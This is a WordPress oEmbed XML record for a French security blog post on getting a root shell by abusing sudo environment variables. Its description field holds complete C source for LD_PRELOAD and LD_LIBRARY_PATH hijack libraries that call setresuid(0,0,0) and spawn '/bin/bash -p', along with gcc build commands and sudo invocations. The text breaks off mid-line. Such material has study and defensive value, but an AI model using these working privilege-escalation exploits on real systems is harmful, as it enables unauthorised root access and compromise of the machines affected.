<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>S&#xE9;curiser votre site</provider_name><provider_url>https://www.searchevolution.com/security</provider_url><author_name>Germain</author_name><author_url>https://www.searchevolution.com/security/author/germain/</author_url><title>Obtenir un shell root en modifiant les variables d'environnement sudo - S&#xE9;curiser votre site</title><type>rich</type><width>600</width><height>338</height><html>&lt;blockquote class="wp-embedded-content" data-secret="KcR5JnjY09"&gt;&lt;a href="https://www.searchevolution.com/security/2021/07/20/variables-denvironnement-sudo/"&gt;Obtenir un shell root en modifiant les variables d&#x2019;environnement sudo&lt;/a&gt;&lt;/blockquote&gt;&lt;iframe sandbox="allow-scripts" security="restricted" src="https://www.searchevolution.com/security/2021/07/20/variables-denvironnement-sudo/embed/#?secret=KcR5JnjY09" width="600" height="338" title="&laquo; Obtenir un shell root en modifiant les variables d&#x2019;environnement sudo &raquo; &#x2014; S&#xE9;curiser votre site" data-secret="KcR5JnjY09" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"&gt;&lt;/iframe&gt;&lt;script type="text/javascript"&gt;
/* &lt;![CDATA[ */
/*! This file is auto-generated */
!function(d,l){"use strict";l.querySelector&amp;&amp;d.addEventListener&amp;&amp;"undefined"!=typeof URL&amp;&amp;(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&amp;&amp;!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i&lt;o.length;i++)o[i].style.display="none";for(i=0;i&lt;a.length;i++)s=a[i],e.source===s.contentWindow&amp;&amp;(s.removeAttribute("style"),"height"===t.message?(1e3&lt;(r=parseInt(t.value,10))?r=1e3:~~r&lt;200&amp;&amp;(r=200),s.height=r):"link"===t.message&amp;&amp;(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&amp;&amp;n.host===r.host&amp;&amp;l.activeElement===s&amp;&amp;(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r&lt;s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document);
/* ]]&gt; */
&lt;/script&gt;
</html><description>On peut injecter du code lors de l&#x2019;ex&#xE9;cution d&#x2019;une commande avec sudo en modifiant les variables d&#x2019;environnement LD_PRELOAD ou LD_LIBRARY_PATH gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c On peut obtenir un root shell en ex&#xE9;cutant un programme que l&#x2019;on peut ex&#xE9;cuter avec sudo de cette fa&#xE7;on sudo LD_PRELOAD=/tmp/preload.so program-name-here preload.c #include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; void _init() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsetenv("LD_PRELOAD"); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setresuid(0,0,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system("/bin/bash -p"); } Une deuxi&#xE8;me fa&#xE7;on d&#x2019;obtenir un root shell ldd /usr/sbin/apache2 (apache2 utilise libcrypt.so) gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp apache2 library_path.c #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; static void hijack() __attribute__((constructor)); void hijack() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsetenv("LD_LIBRARY_PATH"); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setresuid(0,0,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system("/bin/bash</description></oembed>
